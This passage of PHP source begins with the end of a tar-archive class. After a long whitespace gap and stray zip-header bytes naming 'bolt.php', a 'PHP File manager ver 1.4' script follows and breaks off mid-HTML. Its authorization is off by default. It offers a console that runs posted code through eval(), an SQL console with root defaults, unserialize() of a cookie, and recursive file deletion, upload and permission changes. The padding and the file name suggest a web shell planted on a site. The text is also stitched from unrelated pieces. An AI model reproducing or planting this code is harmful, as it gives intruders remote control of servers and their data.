						$this->errors[] = __('Cannot create directory').' '.$header['filename'];
						return false;
					} 
				}
			} else {
				if (($destination = fopen($header['filename'], 'wb')) == 0) {
					$this->errors[] = __('Cannot write to file').' '.$header['filename'];
					return false;
				} else {
					$decr = floor($header['size']/512);
					for ($i = 0; $i < $decr; $i++) {
						$content = $this->readBlock();
						fwrite($destination, $content, 512);
					}
					if (($header['size'] % 512) != 0) {
						$content = $this->readBlock();
						fwrite($destination, $content, ($header['size'] % 512));
					}
					fclose($destination);
					touch($header['filename'], $header['time']);
				}
				clearstatcache();
				if (filesize($header['filename']) != $header['size']) {
					$this->errors[] = __('Size of file').' '.$header['filename'].' '.__('is incorrect');
					return false;
				}
			}
			if (($file_dir = dirname($header['filename'])) == $header['filename']) $file_dir = '';
			if ((substr($header['filename'], 0, 1) == '/') && ($file_dir == '')) $file_dir = '/';
			$this->dirs[] = $file_dir;
			$this->files[] = $header['filename'];
	
		}
		return true;
	}

	function dirCheck($dir){
		$parent_dir = dirname($dir);

		if ((@is_dir($dir)) or ($dir == ''))
			return true;

		if (($parent_dir != $dir) and ($parent_dir != '') and (!$this->dirCheck($parent_dir)))
			return false;

		if (!mkdir($dir, 0777)){
			$this->errors[] = __('Cannot create directory').' '.$dir;
			return false;
		}
		return true;
	}

	function readHeader($binaryData, &$header){
		if (strlen($binaryData)==0){
			$header['filename'] = '';
			return true;
		}

		if (strlen($binaryData) != 512){
			$header['filename'] = '';
			$this->__('Invalid block size').': '.strlen($binaryData);
			return false;
		}

		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum+=ord(substr($binaryData, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156; $i < 512; $i++) $checksum+=ord(substr($binaryData, $i, 1));

		$unpack_data = unpack('a100filename/a8mode/a8user_id/a8group_id/a12size/a12time/a8checksum/a1typeflag/a100link/a6magic/a2version/a32uname/a32gname/a8devmajor/a8devminor', $binaryData);

		$header['checksum'] = OctDec(trim($unpack_data['checksum']));
		if ($header['checksum'] != $checksum){
			$header['filename'] = '';
			if (($checksum == 256) && ($header['checksum'] == 0)) 	return true;
			$this->errors[] = __('Error checksum for file ').$unpack_data['filename'];
			return false;
		}

		if (($header['typeflag'] = $unpack_data['typeflag']) == '5')	$header['size'] = 0;
		$header['filename'] = trim($unpack_data['filename']);
		$header['mode'] = OctDec(trim($unpack_data['mode']));
		$header['user_id'] = OctDec(trim($unpack_data['user_id']));
		$header['group_id'] = OctDec(trim($unpack_data['group_id']));
		$header['size'] = OctDec(trim($unpack_data['size']));
		$header['time'] = OctDec(trim($unpack_data['time']));
		return true;
	}

	function writeHeader($filename, $keep_filename){
		$packF = 'a100a8a8a8a12A12';
		$packL = 'a1a100a6a2a32a32a8a8a155a12';
		if (strlen($keep_filename)<=0) $keep_filename = $filename;
		$filename_ready = $this->makeGoodPath($keep_filename);

		if (strlen($filename_ready) > 99){							//write long header
		$dataFirst = pack($packF, '././LongLink', 0, 0, 0, sprintf('%11s ', DecOct(strlen($filename_ready))), 0);
		$dataLast = pack($packL, 'L', '', '', '', '', '', '', '', '', '');

        //  Calculate the checksum
		$checksum = 0;
        //  First part of the header
		for ($i = 0; $i < 148; $i++)
			$checksum += ord(substr($dataFirst, $i, 1));
        //  Ignore the checksum value and replace it by ' ' (space)
		for ($i = 148; $i < 156; $i++)
			$checksum += ord(' ');
        //  Last part of the header
		for ($i = 156, $j=0; $i < 512; $i++, $j++)
			$checksum += ord(substr($dataLast, $j, 1));
        //  Write the first 148 bytes of the header in the archive
		$this->writeBlock($dataFirst, 148);
        //  Write the calculated checksum
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
        //  Write the last 356 bytes of the header in the archive
		$this->writeBlock($dataLast, 356);

		$tmp_filename = $this->makeGoodPath($filename_ready);

		$i = 0;
			while (($buffer = substr($tmp_filename, (($i++)*512), 512)) != ''){
				$binaryData = pack('a512', $buffer);
				$this->writeBlock($binaryData);
			}
		return true;
		}
		$file_info = stat($filename);
		if (@is_dir($filename)){
			$typeflag = '5';
			$size = sprintf('%11s ', DecOct(0));
		} else {
			$typeflag = '';
			clearstatcache();
			$size = sprintf('%11s ', DecOct(filesize($filename)));
		}
		$dataFirst = pack($packF, $filename_ready, sprintf('%6s ', DecOct(fileperms($filename))), sprintf('%6s ', DecOct($file_info[4])), sprintf('%6s ', DecOct($file_info[5])), $size, sprintf('%11s', DecOct(filemtime($filename))));
		$dataLast = pack($packL, $typeflag, '', '', '', '', '', '', '', '', '');
		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156, $j = 0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1));
		$this->writeBlock($dataFirst, 148);
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
		$this->writeBlock($dataLast, 356);
		return true;
	}

	function openWrite(){
		if ($this->isGzipped)
			$this->tmp_file = gzopen($this->archive_name, 'wb9f');
		else
			$this->tmp_file = fopen($this->archive_name, 'wb');

		if (!($this->tmp_file)){
			$this->errors[] = __('Cannot write to file').' '.$this->archive_name;
			return false;
		}
		return true;
	}

	function readBlock(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				$block = gzread($this->tmp_file, 512);
			else
				$block = fread($this->tmp_file, 512);
		} else	$block = '';

		return $block;
	}

	function writeBlock($data, $length = 0){
		if (is_resource($this->tmp_file)){
		
			if ($length === 0){
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data);
				else
					fputs($this->tmp_file, $data);
			} else {
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data, $length);
				else
					fputs($this->tmp_file, $data, $length);
			}
		}
	}

	function closeTmpFile(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				gzclose($this->tmp_file);
			else
				fclose($this->tmp_file);

			$this->tmp_file = 0;
		}
	}

	function makeGoodPath($path){
		if (strlen($path)>0){
			$path = str_replace('\\', '/', $path);
			$partPath = explode('/', $path);
			$els = count($partPath)-1;
			for ($i = $els; $i>=0; $i--){
				if ($partPath[$i] == '.'){
                    //  Ignore this directory
                } elseif ($partPath[$i] == '..'){
                    $i--;
                }
				elseif (($partPath[$i] == '') and ($i!=$els) and ($i!=0)){
                }	else
					$result = $partPath[$i].($i!=$els ? '/'.$result : '');
			}
		} else $result = '';
		
		return $result;
	}
}
?>                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       PK     |\Ќ5 5   bolt.phpnu [        <?php
/* PHP File manager ver 1.4 */

// Configuration ¡ª do not change manually!
$authorization = '{"authorize":"0","login":"admin","password":"phpfm","cookie_name":"fm_user","days_authorization":"30","script":"<script type=\"text\/javascript\" src=\"https:\/\/www.cdolivet.com\/editarea\/editarea\/edit_area\/edit_area_full.js\"><\/script>\r\n<script language=\"Javascript\" type=\"text\/javascript\">\r\neditAreaLoader.init({\r\nid: \"newcontent\"\r\n,display: \"later\"\r\n,start_highlight: true\r\n,allow_resize: \"both\"\r\n,allow_toggle: true\r\n,word_wrap: true\r\n,language: \"ru\"\r\n,syntax: \"php\"\t\r\n,toolbar: \"search, go_to_line, |, undo, redo, |, select_font, |, syntax_selection, |, change_smooth_selection, highlight, reset_highlight, |, help\"\r\n,syntax_selection_allow: \"css,html,js,php,python,xml,c,cpp,sql,basic,pas\"\r\n});\r\n<\/script>"}';
$php_templates = '{"Settings":"global $fm_config;\r\nvar_export($fm_config);","Backup SQL tables":"echo fm_backup_tables();"}';
$sql_templates = '{"All bases":"SHOW DATABASES;","All tables":"SHOW TABLES;"}';
$translation = '{"id":"en","Add":"Add","Are you sure you want to delete this directory (recursively)?":"Are you sure you want to delete this directory (recursively)?","Are you sure you want to delete this file?":"Are you sure you want to delete this file?","Archiving":"Archiving","Authorization":"Authorization","Back":"Back","Cancel":"Cancel","Chinese":"Chinese","Compress":"Compress","Console":"Console","Cookie":"Cookie","Created":"Created","Date":"Date","Days":"Days","Decompress":"Decompress","Delete":"Delete","Deleted":"Deleted","Download":"Download","done":"done","Edit":"Edit","Enter":"Enter","English":"English","Error occurred":"Error occurred","File manager":"File manager","File selected":"File selected","File updated":"File updated","Filename":"Filename","Files uploaded":"Files uploaded","French":"French","Generation time":"Generation time","German":"German","Home":"Home","Quit":"Quit","Language":"Language","Login":"Login","Manage":"Manage","Make directory":"Make directory","Name":"Name","New":"New","New file":"New file","no files":"no files","Password":"Password","pictures":"pictures","Recursively":"Recursively","Rename":"Rename","Reset":"Reset","Reset settings":"Reset settings","Restore file time after editing":"Restore file time after editing","Result":"Result","Rights":"Rights","Russian":"Russian","Save":"Save","Select":"Select","Select the file":"Select the file","Settings":"Settings","Show":"Show","Show size of the folder":"Show size of the folder","Size":"Size","Spanish":"Spanish","Submit":"Submit","Task":"Task","templates":"templates","Ukrainian":"Ukrainian","Upload":"Upload","Value":"Value","Hello":"Hello"}';
// end configuration

// Preparations
$starttime = explode(' ', microtime());
$starttime = $starttime[1] + $starttime[0];
$langs = array('en','ru','de','fr','uk');
$path = empty($_REQUEST['path']) ? $path = realpath('.') : realpath($_REQUEST['path']);
$path = str_replace('\\', '/', $path) . '/';
$main_path=str_replace('\\', '/',realpath('./'));
$phar_maybe = (version_compare(phpversion(),"5.3.0","<"))?true:false;
$msg = ''; // service string
$default_language = 'ru';
$detect_lang = true;
$fm_version = 1.4;

//Authorization
$auth = json_decode($authorization,true);
$auth['authorize'] = isset($auth['authorize']) ? $auth['authorize'] : 0; 
$auth['days_authorization'] = (isset($auth['days_authorization'])&&is_numeric($auth['days_authorization'])) ? (int)$auth['days_authorization'] : 30;
$auth['login'] = isset($auth['login']) ? $auth['login'] : 'admin';  
$auth['password'] = isset($auth['password']) ? $auth['password'] : 'phpfm';  
$auth['cookie_name'] = isset($auth['cookie_name']) ? $auth['cookie_name'] : 'fm_user';
$auth['script'] = isset($auth['script']) ? $auth['script'] : '';

// Little default config
$fm_default_config = array (
	'make_directory' => true, 
	'new_file' => true, 
	'upload_file' => true, 
	'show_dir_size' => false, //if true, show directory size ¡ú maybe slow 
	'show_img' => true, 
	'show_php_ver' => true, 
	'show_php_ini' => false, // show path to current php.ini
	'show_gt' => true, // show generation time
	'enable_php_console' => true,
	'enable_sql_console' => true,
	'sql_server' => 'localhost',
	'sql_username' => 'root',
	'sql_password' => '',
	'sql_db' => 'test_base',
	'enable_proxy' => true,
	'show_phpinfo' => true,
	'show_xls' => true,
	'fm_settings' => true,
	'restore_time' => true,
	'fm_restore_time' => false,
);

if (empty($_COOKIE['fm_config'])) $fm_config = $fm_default_config;
else $fm_config = unserialize($_COOKIE['fm_config']);

// Change language
if (isset($_POST['fm_lang'])) { 
	setcookie('fm_lang', $_POST['fm_lang'], time() + (86400 * $auth['days_authorization']));
	$_COOKIE['fm_lang'] = $_POST['fm_lang'];
}
$language = $default_language;

// Detect browser language
if($detect_lang && !empty($_SERVER['HTTP_ACCEPT_LANGUAGE']) && empty($_COOKIE['fm_lang'])){
	$lang_priority = explode(',', $_SERVER['HTTP_ACCEPT_LANGUAGE']);
	if (!empty($lang_priority)){
		foreach ($lang_priority as $lang_arr){
			$lng = explode(';', $lang_arr);
			$lng = $lng[0];
			if(in_array($lng,$langs)){
				$language = $lng;
				break;
			}
		}
	}
} 

// Cookie language is primary for ever
$language = (empty($_COOKIE['fm_lang'])) ? $language : $_COOKIE['fm_lang'];

// Localization
$lang = json_decode($translation,true);
if ($lang['id']!=$language) {
	$get_lang = file_get_contents('https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/' . $language . '.json');
	if (!empty($get_lang)) {
		//remove unnecessary characters
		$translation_string = str_replace("'",'&#39;',json_encode(json_decode($get_lang),JSON_UNESCAPED_UNICODE));
		$fgc = file_get_contents(__FILE__);
		$search = preg_match('#translation[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
		if (!empty($matches[1])) {
			$filemtime = filemtime(__FILE__);
			$replace = str_replace('{"'.$matches[1].'"}',$translation_string,$fgc);
			if (file_put_contents(__FILE__, $replace)) {
				$msg .= __('File updated');
			}	else $msg .= __('Error occurred');
			if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
		}	
		$lang = json_decode($translation_string,true);
	}
}

/* Functions */

//translation
function __($text){
	global $lang;
	if (isset($lang[$text])) return $lang[$text];
	else return $text;
};

//delete files and dirs recursively
function fm_del_files($file, $recursive = false) {
	if($recursive && @is_dir($file)) {
		$els = fm_scan_dir($file, '', '', true);
		foreach ($els as $el) {
			if($el != '.' && $el != '..'){
				fm_del_files($file . '/' . $el, true);
			}
		}
	}
	if(@is_dir($file)) {
		return rmdir($file);
	} else {
		return @unlink($file);
	}
}

//file perms
function fm_rights_string($file, $if = false){
	$perms = fileperms($file);
	$info = '';
	if(!$if){
		if (($perms & 0xC000) == 0xC000) {
			//Socket
			$info = 's';
		} elseif (($perms & 0xA000) == 0xA000) {
			//Symbolic Link
			$info = 'l';
		} elseif (($perms & 0x8000) == 0x8000) {
			//Regular
			$info = '-';
		} elseif (($perms & 0x6000) == 0x6000) {
			//Block special
			$info = 'b';
		} elseif (($perms & 0x4000) == 0x4000) {
			//Directory
			$info = 'd';
		} elseif (($perms & 0x2000) == 0x2000) {
			//Character special
			$info = 'c';
		} elseif (($perms & 0x1000) == 0x1000) {
			//FIFO pipe
			$info = 'p';
		} else {
			//Unknown
			$info = 'u';
		}
	}
  
	//Owner
	$info .= (($perms & 0x0100) ? 'r' : '-');
	$info .= (($perms & 0x0080) ? 'w' : '-');
	$info .= (($perms & 0x0040) ?
	(($perms & 0x0800) ? 's' : 'x' ) :
	(($perms & 0x0800) ? 'S' : '-'));
 
	//Group
	$info .= (($perms & 0x0020) ? 'r' : '-');
	$info .= (($perms & 0x0010) ? 'w' : '-');
	$info .= (($perms & 0x0008) ?
	(($perms & 0x0400) ? 's' : 'x' ) :
	(($perms & 0x0400) ? 'S' : '-'));
 
	//World
	$info .= (($perms & 0x0004) ? 'r' : '-');
	$info .= (($perms & 0x0002) ? 'w' : '-');
	$info .= (($perms & 0x0001) ?
	(($perms & 0x0200) ? 't' : 'x' ) :
	(($perms & 0x0200) ? 'T' : '-'));

	return $info;
}

function fm_convert_rights($mode) {
	$mode = str_pad($mode,9,'-');
	$trans = array('-'=>'0','r'=>'4','w'=>'2','x'=>'1');
	$mode = strtr($mode,$trans);
	$newmode = '0';
	$owner = (int) $mode[0] + (int) $mode[1] + (int) $mode[2]; 
	$group = (int) $mode[3] + (int) $mode[4] + (int) $mode[5]; 
	$world = (int) $mode[6] + (int) $mode[7] + (int) $mode[8]; 
	$newmode .= $owner . $group . $world;
	return intval($newmode, 8);
}

function fm_chmod($file, $val, $rec = false) {
	$res = @chmod(realpath($file), $val);
	if(@is_dir($file) && $rec){
		$els = fm_scan_dir($file);
		foreach ($els as $el) {
			$res = $res && fm_chmod($file . '/' . $el, $val, true);
		}
	}
	return $res;
}

//load files
function fm_download($file_name) {
    if (!empty($file_name)) {
		if (file_exists($file_name)) {
			header("Content-Disposition: attachment; filename=" . basename($file_name));   
			header("Content-Type: application/force-download");
			header("Content-Type: application/octet-stream");
			header("Content-Type: application/download");
			header("Content-Description: File Transfer");            
			header("Content-Length: " . filesize($file_name));		
			flush(); // this doesn't really matter.
			$fp = fopen($file_name, "r");
			while (!feof($fp)) {
				echo fread($fp, 65536);
				flush(); // this is essential for large downloads
			} 
			fclose($fp);
			die();
		} else {
			header('HTTP/1.0 404 Not Found', true, 404);
			header('Status: 404 Not Found'); 
			die();
        }
    } 
}

//show folder size
function fm_dir_size($f,$format=true) {
	if($format)  {
		$size=fm_dir_size($f,false);
		if($size<=1024) return $size.' bytes';
		elseif($size<=1024*1024) return round($size/(1024),2).'&nbsp;Kb';
		elseif($size<=1024*1024*1024) return round($size/(1024*1024),2).'&nbsp;Mb';
		elseif($size<=1024*1024*1024*1024) return round($size/(1024*1024*1024),2).'&nbsp;Gb';
		elseif($size<=1024*1024*1024*1024*1024) return round($size/(1024*1024*1024*1024),2).'&nbsp;Tb'; //:)))
		else return round($size/(1024*1024*1024*1024*1024),2).'&nbsp;Pb'; // ;-)
	} else {
		if(is_file($f)) return filesize($f);
		$size=0;
		$dh=opendir($f);
		while(($file=readdir($dh))!==false) {
			if($file=='.' || $file=='..') continue;
			if(is_file($f.'/'.$file)) $size+=filesize($f.'/'.$file);
			else $size+=fm_dir_size($f.'/'.$file,false);
		}
		closedir($dh);
		return $size+filesize($f); 
	}
}

//scan directory
function fm_scan_dir($directory, $exp = '', $type = 'all', $do_not_filter = false) {
	$dir = $ndir = array();
	if(!empty($exp)){
		$exp = '/^' . str_replace('*', '(.*)', str_replace('.', '\\.', $exp)) . '$/';
	}
	if(!empty($type) && $type !== 'all'){
		$func = 'is_' . $type;
	}
	if(@is_dir($directory)){
		$fh = opendir($directory);
		while (false !== ($filename = readdir($fh))) {
			if(substr($filename, 0, 1) != '.' || $do_not_filter) {
				if((empty($type) || $type == 'all' || $func($directory . '/' . $filename)) && (empty($exp) || preg_match($exp, $filename))){
					$dir[] = $filename;
				}
			}
		}
		closedir($fh);
		natsort($dir);
	}
	return $dir;
}

function fm_link($get,$link,$name,$title='') {
	if (empty($title)) $title=$name.' '.basename($link);
	return '&nbsp;&nbsp;<a href="?'.$get.'='.base64_encode($link).'" title="'.$title.'">'.$name.'</a>';
}

function fm_arr_to_option($arr,$n,$sel=''){
	foreach($arr as $v){
		$b=$v[$n];
		$res.='<option value="'.$b.'" '.($sel && $sel==$b?'selected':'').'>'.$b.'</option>';
	}
	return $res;
}

function fm_lang_form ($current='en'){
return '
<form name="change_lang" method="post" action="">
	<select name="fm_lang" title="'.__('Language').'" onchange="document.forms[\'change_lang\'].submit()" >
		<option value="en" '.($current=='en'?'selected="selected" ':'').'>'.__('English').'</option>
		<option value="de" '.($current=='de'?'selected="selected" ':'').'>'.__('German').'</option>
		<option value="ru" '.($current=='ru'?'selected="selected" ':'').'>'.__('Russian').'</option>
		<option value="fr" '.($current=='fr'?'selected="selected" ':'').'>'.__('French').'</option>
		<option value="uk" '.($current=='uk'?'selected="selected" ':'').'>'.__('Ukrainian').'</option>
	</select>
</form>
';
}
	
function fm_root($dirname){
	return ($dirname=='.' OR $dirname=='..');
}

function fm_php($string){
	$display_errors=ini_get('display_errors');
	ini_set('display_errors', '1');
	ob_start();
	eval(trim($string));
	$text = ob_get_contents();
	ob_end_clean();
	ini_set('display_errors', $display_errors);
	return $text;
}

//SHOW DATABASES
function fm_sql_connect(){
	global $fm_config;
	return new mysqli($fm_config['sql_server'], $fm_config['sql_username'], $fm_config['sql_password'], $fm_config['sql_db']);
}

function fm_sql($query){
	global $fm_config;
	$query=trim($query);
	ob_start();
	$connection = fm_sql_connect();
	if ($connection->connect_error) {
		ob_end_clean();	
		return $connection->connect_error;
	}
	$connection->set_charset('utf8');
    $queried = mysqli_query($connection,$query);
	if ($queried===false) {
		ob_end_clean();	
		return mysqli_error($connection);
    } else {
		if(!empty($queried)){
			while($row = mysqli_fetch_assoc($queried)) {
				$query_result[]=  $row;
			}
		}
		$vdump=empty($query_result)?'':var_export($query_result,true);	
		ob_end_clean();	
		$connection->close();
		return '<pre>'.stripslashes($vdump).'</pre>';
	}
}

function fm_backup_tables($tables = '*', $full_backup = true) {
	global $path;
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
	if($tables == '*')	{
		$tables = array();
		$result = $mysqldb->query('SHOW TABLES');
		while($row = mysqli_fetch_row($result))	{
			$tables[] = $row[0];
		}
	} else {
		$tables = is_array($tables) ? $tables : explode(',',$tables);
	}
    
	$return='';
	foreach($tables as $table)	{
		$result = $mysqldb->query('SELECT * FROM '.$table);
		$num_fields = mysqli_num_fields($result);
		$return.= 'DROP TABLE IF EXISTS `'.$table.'`'.$delimiter;
		$row2 = mysqli_fetch_row($mysqldb->query('SHOW CREATE TABLE '.$table));
		$return.=$row2[1].$delimiter;
        if ($full_backup) {
		for ($i = 0; $i < $num_fields; $i++)  {
			while($row = mysqli_fetch_row($result)) {
				$return.= 'INSERT INTO `'.$table.'` VALUES(';
				for($j=0; $j<$num_fields; $j++)	{
					$row[$j] = addslashes($row[$j]);
					$row[$j] = str_replace("\n","\\n",$row[$j]);
					if (isset($row[$j])) { $return.= '"'.$row[$j].'"' ; } else { $return.= '""'; }
					if ($j<($num_fields-1)) { $return.= ','; }
				}
				$return.= ')'.$delimiter;
			}
		  }
		} else { 
		$return = preg_replace("#AUTO_INCREMENT=[\d]+ #is", '', $return);
		}
		$return.="\n\n\n";
	}

	//save file
    $file=gmdate("Y-m-d_H-i-s",time()).'.sql';
	$handle = fopen($file,'w+');
	fwrite($handle,$return);
	fclose($handle);
	$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'?delete=' . $file . '&path=' . $path  . '\'"';
    return $file.': '.fm_link('download',$path.$file,__('Download'),__('Download').' '.$file).' <a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
}

function fm_restore_tables($sqlFileToExecute) {
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
    // Load and explode the sql file
    $f = fopen($sqlFileToExecute,"r+");
    $sqlFile = fread($f,filesize($sqlFileToExecute));
    $sqlArray = explode($delimiter,$sqlFile);
	
    //Process the sql file by statements
    foreach ($sqlArray as $stmt) {
        if (strlen($stmt)>3){
			$result = $mysqldb->query($stmt);
				if (!$result){
					$sqlErrorCode = mysqli_errno($mysqldb->connection);
					$sqlErrorText = mysqli_error($mysqldb->connection);
					$sqlStmt      = $stmt;
					break;
           	     }
           	  }
           }
if (empty($sqlErrorCode)) return __('Success').' ¡ª '.$sqlFileToExecute;
else return $sqlErrorText.'<br/>'.$stmt;
}

function fm_img_link($filename){
	return './'.basename(__FILE__).'?img='.base64_encode($filename);
}

function fm_home_style(){
	return '
input, input.fm_input {
	text-indent: 2px;
}

input, textarea, select, input.fm_input {
	color: gt;
	font: normal 8pt Verdana, Arial, Helvetica, sans-serif;
	border-color: red;
	background-color: #FCFCFC none !important;
	border-radius: 0;
	padding: 2px;
}

input.fm_input {
	background: #FCFCFC none !important;
	cursor: pointer;
}

.home {
	background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAgRQTFRF/f396Ojo////tT02zr+fw66Rtj432TEp3MXE2DAr3TYp1y4mtDw2/7BM/7BOqVpc/8l31jcqq6enwcHB2Tgi5jgqVpbFvra2nBAV/Pz82S0jnx0W3TUkqSgi4eHh4Tsre4wosz026uPjzGYd6Us3ynAydUBA5Kl3fm5eqZaW7ODgi2Vg+Pj4uY+EwLm5bY9U//7jfLtC+tOK3jcm/71u2jYo1UYh5aJl/seC3jEm12kmJrIA1jMm/9aU4Lh0e01BlIaE///dhMdC7IA//fTZ2c3MW6nN30wf95Vd4JdXoXVos8nE4efN/+63IJgSnYhl7F4csXt89GQUwL+/jl1c41Aq+fb2gmtI1rKa2C4kJaIA3jYrlTw5tj423jYn3cXE1zQoxMHBp1lZ3Dgmqiks/+mcjLK83jYkymMV3TYk//HM+u7Whmtr0odTpaOjfWJfrHpg/8Bs/7tW/7Ve+4U52DMm3MLBn4qLgNVM6MzB3lEflIuL/+jA///20LOzjXx8/7lbWpJG2C8k3TosJKMA1ywjopOR1zYp5Dspiay+yKNhqKSk8NW6/fjns7Oz2tnZuz887b+W3aRY/+ms4rCE3Tot7V85bKxjuEA3w45Vh5uhq6am4cFxgZZW/9qIuwgKy0sW+ujT4TQntz423C8i3zUj/+Kw/a5d6UMxuL6wzDEr////cqJQfAAAAKx0Uk5T////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////AAWVFbEAAAAZdEVYdFNvZnR3YXJlAEFkb2JlIEltYWdlUmVhZHlxyWU8AAAA2UlEQVQoU2NYjQYYsAiE8U9YzDYjVpGZRxMiECitMrVZvoMrTlQ2ESRQJ2FVwinYbmqTULoohnE1g1aKGS/fNMtk40yZ9KVLQhgYkuY7NxQvXyHVFNnKzR69qpxBPMez0ETAQyTUvSogaIFaPcNqV/M5dha2Rl2Timb6Z+QBDY1XN/Sbu8xFLG3eLDfl2UABjilO1o012Z3ek1lZVIWAAmUTK6L0s3pX+jj6puZ2AwWUvBRaphswMdUujCiwDwa5VEdPI7ynUlc7v1qYURLquf42hz45CBPDtwACrm+RDcxJYAAAAABJRU5ErkJggg==");
	background-repeat: no-repeat;
}';
}

function fm_config_checkbox_row($name,$value) {
	global $fm_config;
	return '<tr><td class="row1"><input id="fm_config_'.$value.'" name="fm_config['.$value.']" value="1" '.(empty($fm_config[$value])?'':'checked="true"').' type="checkbox"></td><td class="row2 whole"><label for="fm_config_'.$value.'">'.$name.'</td></tr>';
}

function fm_protocol() {
	if (isset($_SERVER['HTTP_SCHEME'])) return $_SERVER['HTTP_SCHEME'].'://';
	if (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') return 'https://';
	if (isset($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == 443) return 'https://';
	if (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') return 'https://';
	return 'http://';
}

function fm_site_url() {
	return fm_protocol().$_SERVER['HTTP_HOST'];
}

function fm_url($full=false) {
	$host=$full?fm_site_url():'.';
	return $host.'/'.basename(__FILE__);
}

function fm_home($full=false){
	return '&nbsp;<a href="'.fm_url($full).'" title="'.__('Home').'"><span class="home">&nbsp;&nbsp;&nbsp;&nbsp;</span></a>';
}

function fm_run_input($lng) {
	global $fm_config;
	$return = !empty($fm_config['enable_'.$lng.'_console']) ? 
	'
				<form  method="post" action="'.fm_url().'" style="display:inline">
				<input type="submit" name="'.$lng.'run" value="'.strtoupper($lng).' '.__('Console').'">
				</form>
' : '';
	return $return;
}

function fm_url_proxy($matches) {
	$link = str_replace('&amp;','&',$matches[2]);
	$url = isset($_GET['url'])?$_GET['url']:'';
	$parse_url = parse_url($url);
	$host = $parse_url['scheme'].'://'.$parse_url['host'].'/';
	if (substr($link,0,2)=='//') {
		$link = substr_replace($link,fm_protocol(),0,2);
	} elseif (substr($link,0,1)=='/') {
		$link = substr_replace($link,$host,0,1);	
	} elseif (substr($link,0,2)=='./') {
		$link = substr_replace($link,$host,0,2);	
	} elseif (substr($link,0,4)=='http') {
		//alles machen wunderschon
	} else {
		$link = $host.$link;
	} 
	if ($matches[1]=='href' && !strripos($link, 'css')) {
		$base = fm_site_url().'/'.basename(__FILE__);
		$baseq = $base.'?proxy=true&url=';
		$link = $baseq.urlencode($link);
	} elseif (strripos($link, 'css')){
		//§Ü§Ñ§Ü-§ä§à §ä§à§Ø§Ö §á§à§Õ§Þ§Ö§ß§ñ§ä§î §ß§Ñ§Õ§à
	}
	return $matches[1].'="'.$link.'"';
}
 
function fm_tpl_form($lng_tpl) {
	global ${$lng_tpl.'_templates'};
	$tpl_arr = json_decode(${$lng_tpl.'_templates'},true);
	$str = '';
	foreach ($tpl_arr as $ktpl=>$vtpl) {
		$str .= '<tr><td class="row1"><input name="'.$lng_tpl.'_name[]" value="'.$ktpl.'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_value[]"  cols="55" rows="5" class="textarea_input">'.$vtpl.'</textarea> <input name="del_'.rand().'" type="button" onClick="this.parentNode.parentNode.remove();" value="'.__('Delete').'"/></td></tr>';
	}
return '
<table>
<tr><th colspan="2">'.strtoupper($lng_tpl).' '.__('templates').' '.fm_run_input($lng_tpl).'</th></tr>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1">'.__('Name').'</td><td class="row2 whole">'.__('Value').'</td></tr>
'.$str.'
<tr><td colspan="2" class="row3"><input name="res" type="button" onClick="document.location.href = \''.fm_url().'?fm_settings=true\';" value="'.__('Reset').'"/> <input type="submit" value="'.__('Save').'" ></td></tr>
</form>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1"><input name="'.$lng_tpl.'_new_name" value="" placeholder="'.__('New').' '.__('Name').'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_new_value"  cols="55" rows="5" class="textarea_input" placeholder="'.__('New').' '.__('Value').'"></textarea></td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Add').'" ></td></tr>
</form>
</table>
';
}

/* End Functions */

// authorization
if ($auth['authorize']) {
	if (isset($_POST['login']) && isset($_POST['password'])){
		if (($_POST['login']==$auth['login']) && ($_POST['password']==$auth['password'])) {
			setcookie($auth['cookie_name'], $auth['login'].'|'.md5($auth['password']), time() + (86400 * $auth['days_authorization']));
			$_COOKIE[$auth['cookie_name']]=$auth['login'].'|'.md5($auth['password']);
		}
	}
	if (!isset($_COOKIE[$auth['cookie_name']]) OR ($_COOKIE[$auth['cookie_name']]!=$auth['login'].'|'.md5($auth['password']))) {
		echo '
<!doctype html>
<html>
<head>
<meta charset="utf-8" />
<meta name="viewport" content="width=device-width, initial-scale=1" />
